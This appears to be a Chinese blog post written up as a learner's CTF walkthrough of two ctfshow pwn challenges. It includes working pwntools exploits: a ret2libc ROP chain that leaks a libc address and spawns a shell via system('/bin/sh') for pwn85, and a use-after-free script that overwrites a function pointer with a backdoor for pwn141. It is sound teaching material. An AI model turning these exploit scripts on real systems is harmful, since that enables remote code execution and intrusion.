ctfshow:pwn85(高级ROP 64 位 Partial-RELRO)、pwn141
本文最后更新于270 天前,其中的信息可能已经过时,如有错误请发送邮件到506742773@qq.com

1、pwn85分析

来ctfshow学点新东西

64位partial relro开了NX,运行有一个输入

但是我不太会wp中的方法,想试试能不能泄露libc,能的话就可以简单的ret2libc

from pwn import *
context.log_level="debug"
p=remote("pwn.challenge.ctf.show",28129)
elf=ELF("./pwn85")

write_plt=elf.plt['write']
write_got=elf.got['write']
show=elf.sym['show']
rdi=0x4007a3
rsir15=0x4007a1
payload=b'a'*(0x70+8)+p64(rdi)+p64(1)+p64(rsir15)+p64(write_got)+p64(4)+p64(write_plt)+p64(show)
p.recvuntil("Welcome to CTFshowPWN!\n")
p.sendline(payload)
write=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(write))
p.interactive()


查一下:

选2.27的下载以后就直接丝滑操作了

2、pwn85实操

from pwn import *
context.log_level="debug"
p=remote("pwn.challenge.ctf.show",28129)
elf=ELF("./pwn85")

write_plt=elf.plt['write']
write_got=elf.got['write']
show=elf.sym['show']
rdi=0x4007a3
rsir15=0x4007a1
payload=b'a'*(0x70+8)+p64(rdi)+p64(1)+p64(rsir15)+p64(write_got)+p64(4)+p64(write_plt)+p64(show)
p.recvuntil("Welcome to CTFshowPWN!\n")
p.sendline(payload)
write=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(write))

libc=ELF("./libc6_2.27-3ubuntu1.6_amd64.so")
base=write-libc.sym['write']
sys=base+libc.sym['system']
binsh=base+next(libc.search(b'/bin/sh'))
payload=b'a'*(0x70+8)+p64(rdi)+p64(binsh)+p64(sys)
p.sendline(payload)
p.interactive()


可以出

3、pwn141分析(使用已释放的内存)

继续学点堆前置

32位

main:

v3=1

add_note


v3=2


里面就会释放堆

v3=3

print_note


后门函数:

这道题的漏洞是释放空间没有把指针清空,所以可以继续使用

注意 *notelist[i] = print_note_content

notelist[i]存放的是print_note_content函数打印的每个chunk的内容

而且print_note函数就是调用的print_note_content

如果我们改写其中存放的内容为后门函数是不是就可以利用了

写个脚本调试一下

from pwn import *
context.log_level="debug"
p=process("./pwn141")

p.recvuntil("choice :")
p.sendline(b'1')
p.recvuntil("Note size :")
p.sendline(b'16')
p.recvuntil("Content :")
p.sendline(b'aaaa')
gdb.attach(p)
p.interactive()


第二个应该就是我们写入的内容的地方,我们看一下


果然

每次申请都会申请一个print_note_content空间,那我们需要利用uaf,申请两个空间,先跟着大佬的文章体验一下吧

4、pwn141体验

from pwn import *
context.log_level="debug"
p=remote("pwn.challenge.ctf.show",28273)

use=0x8049684

def allocate(size,content):
    p.sendlineafter("choice :",b'1')
    p.sendlineafter("Note size :",str(size))
    p.sendlineafter("Content :",content)
def free(index):
    p.sendlineafter("choice :","2")
    p.sendlineafter("Index :",str(index))
def printf(index):
    p.sendlineafter(b"choice :",b"3")
    p.sendlineafter(b"Index :",str(index))

allocate(0x10,"aaaa")
allocate(0x10,"cccc")

free(0)
free(1)

allocate(8,p32(use))
printf(0)
p.recv()
p.interactive()


ok,今天就学到这儿吧……

......
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇